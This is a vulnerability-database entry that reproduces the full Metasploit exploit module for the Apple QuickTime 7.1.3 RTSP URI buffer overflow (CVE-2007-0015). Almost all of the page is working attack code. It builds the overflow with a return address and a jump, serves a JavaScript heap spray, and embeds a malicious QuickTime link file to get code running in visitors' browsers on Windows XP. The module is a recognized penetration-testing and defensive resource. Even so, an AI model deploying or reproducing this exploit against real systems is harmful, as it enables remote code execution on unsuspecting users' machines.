Apple QuickTime 7.1.3 RTSP URI Buffer Overflow

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Buffer overflow in Apple QuickTime 7.1.3, exploited via RTSP URI. Targets IE 6 and Firefox 1.5.0.3 on Windows XP SP0/2

                                                ##
# $Id: apple_quicktime_rtsp.rb 9220 2010-05-04 23:09:32Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	include Msf::Exploit::Remote::BrowserAutopwn
	autopwn_info({
		:os_name    =&#62; OperatingSystems::WINDOWS,
		:javascript =&#62; true,
		:rank       =&#62; NormalRanking, # reliable memory corruption
		:vuln_test  =&#62; nil,
	})

	def initialize(info = {})
		super(update_info(info,
			&#39;Name&#39;           =&#62; &#39;Apple QuickTime 7.1.3 RTSP URI Buffer Overflow&#39;,
			&#39;Description&#39;    =&#62; %q{
					This module exploits a buffer overflow in Apple QuickTime
				7.1.3. This module was inspired by MOAB-01-01-2007.  The
				Browser target for this module was tested against IE 6 and
				Firefox 1.5.0.3 on Windows XP SP0/2; Firefox 3 blacklists the
				QuickTime plugin.
			},
			&#39;Author&#39;         =&#62; [ &#39;MC&#39;, &#39;egypt&#39; ],
			&#39;License&#39;        =&#62; MSF_LICENSE,
			&#39;Version&#39;        =&#62; &#39;$Revision: 9220 $&#39;,
			&#39;References&#39;     =&#62;
				[
					[ &#39;CVE&#39;, &#39;2007-0015&#39; ],
					[ &#39;OSVDB&#39;, &#39;31023&#39;],
					[ &#39;BID&#39;, &#39;21829&#39; ],
					[ &#39;URL&#39;, &#39;http://projects.info-pull.com/moab/MOAB-01-01-2007.html&#39; ],
				],
			&#39;DefaultOptions&#39; =&#62;
				{
					&#39;EXITFUNC&#39; =&#62; &#39;process&#39;,
				},
			&#39;Payload&#39;        =&#62;
				{
					&#39;Space&#39;    =&#62; 500,
					&#39;BadChars&#39; =&#62; &#34;\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c&#34;,
				},
			&#39;Platform&#39; =&#62; &#39;win&#39;,
			&#39;Targets&#39;  =&#62;
				[
					[ &#39;Automatic&#39;, { } ],
					[ &#39;Apple QuickTime Player 7.1.3&#39;,
						{
							&#39;Ret&#39; =&#62; 0x6855d8a2  # xpsp2/2k3 :( | vista ;)
						}
					],
					[ &#39;Browser Universal&#39;,
						{
							&#39;Ret&#39; =&#62; 0x0c0c0c0c # tested on xpsp0 and sp2
						}
					],
				],
			&#39;Privileged&#39;     =&#62; false,
			&#39;DisclosureDate&#39; =&#62; &#39;Jan 1 2007&#39;,
			&#39;DefaultTarget&#39;  =&#62; 0))
	end

	def on_request_uri(client, request)

		return if ((p = regenerate_payload(client)) == nil)

		if (target.name =~ /Automatic/)
			if (request[&#39;User-Agent&#39;] =~ /QuickTime/i)
				target = targets[1]
			else
				target = targets[2]
			end
		end

		cruft  =  rand_text_alphanumeric(4)
		# This is all basically filler on the browser target because we can&#39;t
		# expect the SEH to be in a reliable place across multiple browsers.
		# Heap spray ftw.
		sploit =  rand_text_english(307)
		sploit &#60;&#60; p.encoded + &#34;\xeb\x06&#34; + rand_text_english(2)
		sploit &#60;&#60; [target.ret].pack(&#39;V&#39;) + [0xe8, -485].pack(&#39;CV&#39;)

		if (request[&#39;User-Agent&#39;] =~ /QuickTime/i or request.uri =~ /\.qtl$/)
			print_status(&#34;Sending #{self.name} exploit to #{client.peerhost}:#{client.peerport}...&#34;)
			print_status(&#34;Trying target #{target.name}...&#34;)
			content = build_qtl(sploit)
		else
			print_status(&#34;Sending #{self.name} init HTML to #{client.peerhost}:#{client.peerport}...&#34;)

			shellcode = Rex::Text.to_unescape(p.encoded)
			url =  ((datastore[&#39;SSL&#39;]) ? &#34;https://&#34; : &#34;http://&#34;)
			url &#60;&#60; ((datastore[&#39;SRVHOST&#39;] == &#39;0.0.0.0&#39;) ? Rex::Socket.source_address(client.peerhost) : datastore[&#39;SRVHOST&#39;])
			url &#60;&#60; &#34;:&#34; + datastore[&#39;SRVPORT&#39;]
			url &#60;&#60; get_resource
			js = &#60;&#60;-ENDJS
					#{js_heap_spray}
					sprayHeap(unescape(&#34;#{shellcode}&#34;), 0x#{target.ret.to_s 16}, 0x4000);
				ENDJS
			content =  &#34;&#60;html&#62;&#60;body&#62;&#60;script&#62;&#60;!--\n#{js}//--&#62;&#60;/script&#62;&#34;
			content &#60;&#60; &#60;&#60;-ENDEMBED
					&#60;OBJECT
					CLASSID=&#34;clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B&#34;
					WIDTH=&#34;1&#34;
					HEIGHT=&#34;1&#34;
					CODEBASE=&#34;http://www.apple.com/qtactivex/qtplugin.cab&#34;&#62;
					&#60;PARAM name=&#34;SRC&#34;        VALUE = &#34;#{url}/#{cruft}.qtl&#34;&#62;
					&#60;PARAM name=&#34;QTSRC&#34;      VALUE = &#34;#{url}/#{cruft}.qtl&#34;&#62;
					&#60;PARAM name=&#34;AUTOPLAY&#34;   VALUE = &#34;true&#34;               &#62;
					&#60;PARAM name=&#34;TYPE&#34;       VALUE = &#34;video/quicktime&#34;    &#62;
					&#60;PARAM name=&#34;TARGET&#34;     VALUE = &#34;myself&#34;             &#62;
					&#60;EMBED
						SRC        = &#34;#{url}/#{cruft}.qtl&#34;
						QTSRC      = &#34;#{url}/#{cruft}.qtl&#34;
						TARGET     = &#34;myself&#34;
						WIDTH      = &#34;1&#34;
						HEIGHT     = &#34;1&#34;
						AUTOPLAY   = &#34;true&#34;
						PLUGIN     = &#34;quicktimeplugin&#34;
						TYPE       = &#34;video/quicktime&#34;
						CACHE      = &#34;false&#34;
						PLUGINSPAGE= &#34;http://www.apple.com/quicktime/download/&#34; &#62;
					&#60;/EMBED&#62;
					&#60;/OBJECT&#62;
				ENDEMBED
			content &#60;&#60; &#34;&#60;/body&#62;&#60;/html&#62;&#34;
		end

		send_response(client, content, { &#39;Content-Type&#39; =&#62; &#34;text/html&#34; })

		# Handle the payload
		handler(client)
	end

	def build_qtl(overflow)
		cruft  =  rand_text_english(4)

		content =  &#34;&#60;?xml version=\&#34;1.0\&#34;?&#62;\n&#34;
		content &#60;&#60; &#34;&#60;?quicktime type=\&#34;application/x-quicktime-media-link\&#34;?&#62;\n&#34;
		content &#60;&#60; &#34;&#60;embed autoplay=\&#34;true\&#34; \n&#34;
		content &#60;&#60; &#34;moviename=\&#34;#{cruft}\&#34; \n&#34;
		content &#60;&#60; &#34;qtnext=\&#34;#{cruft}\&#34; \n&#34;
		content &#60;&#60; &#34;type=\&#34;video/quicktime\&#34; \n&#34;
		content &#60;&#60; &#34;src=\&#34;rtsp://#{cruft}:#{overflow}\&#34; /&#62;\n&#34;

	end
end
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1